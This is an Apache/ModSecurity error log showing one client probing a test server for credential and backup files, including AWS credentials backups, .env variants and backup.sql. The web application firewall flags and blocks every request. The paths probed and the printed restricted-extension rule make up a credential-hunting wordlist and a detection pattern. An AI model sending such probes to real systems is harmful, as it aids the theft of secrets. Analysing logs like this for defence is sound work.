[Sun Jun 29 20:17:34.374091 2025] [:error] [pid 2967919] [client 185.177.72.107:52614] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;aGGDPntTxOj9v32ojom55gAAAAE&quot;]
[Sun Jun 29 20:17:34.374456 2025] [:error] [pid 2967919] [client 185.177.72.107:52614] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;aGGDPntTxOj9v32ojom55gAAAAE&quot;]
[Sun Jun 29 20:17:34.374672 2025] [:error] [pid 2967919] [client 185.177.72.107:52614] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;aGGDPntTxOj9v32ojom55gAAAAE&quot;]
[Sun Jun 29 20:17:54.594150 2025] [:error] [pid 3059540] [client 185.177.72.107:29404] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aGGDUnN4YZunzJSJCzJ6YAAAAAY&quot;]
[Sun Jun 29 20:17:54.594426 2025] [:error] [pid 3059540] [client 185.177.72.107:29404] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aGGDUnN4YZunzJSJCzJ6YAAAAAY&quot;]
[Sun Jun 29 20:17:54.594632 2025] [:error] [pid 3059540] [client 185.177.72.107:29404] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aGGDUnN4YZunzJSJCzJ6YAAAAAY&quot;]
[Sun Jun 29 20:17:54.638388 2025] [:error] [pid 3059540] [client 185.177.72.107:29404] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGGDUnN4YZunzJSJCzJ6YgAAAAY&quot;]
[Sun Jun 29 20:17:54.638665 2025] [:error] [pid 3059540] [client 185.177.72.107:29404] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGGDUnN4YZunzJSJCzJ6YgAAAAY&quot;]
[Sun Jun 29 20:17:54.638872 2025] [:error] [pid 3059540] [client 185.177.72.107:29404] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGGDUnN4YZunzJSJCzJ6YgAAAAY&quot;]
[Sun Jun 29 20:18:14.443486 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-bwAAAAc&quot;]
[Sun Jun 29 20:18:14.443857 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-bwAAAAc&quot;]
[Sun Jun 29 20:18:14.444037 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-bwAAAAc&quot;]
[Sun Jun 29 20:18:14.527238 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-cwAAAAc&quot;]
[Sun Jun 29 20:18:14.527476 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-cwAAAAc&quot;]
[Sun Jun 29 20:18:14.527674 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-cwAAAAc&quot;]
[Sun Jun 29 20:18:14.547637 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dAAAAAc&quot;]
[Sun Jun 29 20:18:14.547793 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dAAAAAc&quot;]
[Sun Jun 29 20:18:14.548022 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dAAAAAc&quot;]
[Sun Jun 29 20:18:14.548208 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dAAAAAc&quot;]
[Sun Jun 29 20:18:14.568360 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.local&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dQAAAAc&quot;]
[Sun Jun 29 20:18:14.568632 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.local&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dQAAAAc&quot;]
[Sun Jun 29 20:18:14.568823 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.local&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dQAAAAc&quot;]
[Sun Jun 29 20:18:14.588829 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dgAAAAc&quot;]
[Sun Jun 29 20:18:14.589038 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dgAAAAc&quot;]
[Sun Jun 29 20:18:14.589289 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dgAAAAc&quot;]
[Sun Jun 29 20:18:14.589497 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dgAAAAc&quot;]
[Sun Jun 29 20:18:14.609482 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.save&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dwAAAAc&quot;]
[Sun Jun 29 20:18:14.609724 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.save&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dwAAAAc&quot;]
[Sun Jun 29 20:18:14.609891 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.save&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-dwAAAAc&quot;]
[Sun Jun 29 20:18:14.630088 2025] [:error] [pid 3059541] [client 185.177.72.107:29174] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env~&quot;] [unique_id &quot;aGGDZqAIGT5SiqI9BxP-eAAAAAc&quot;]
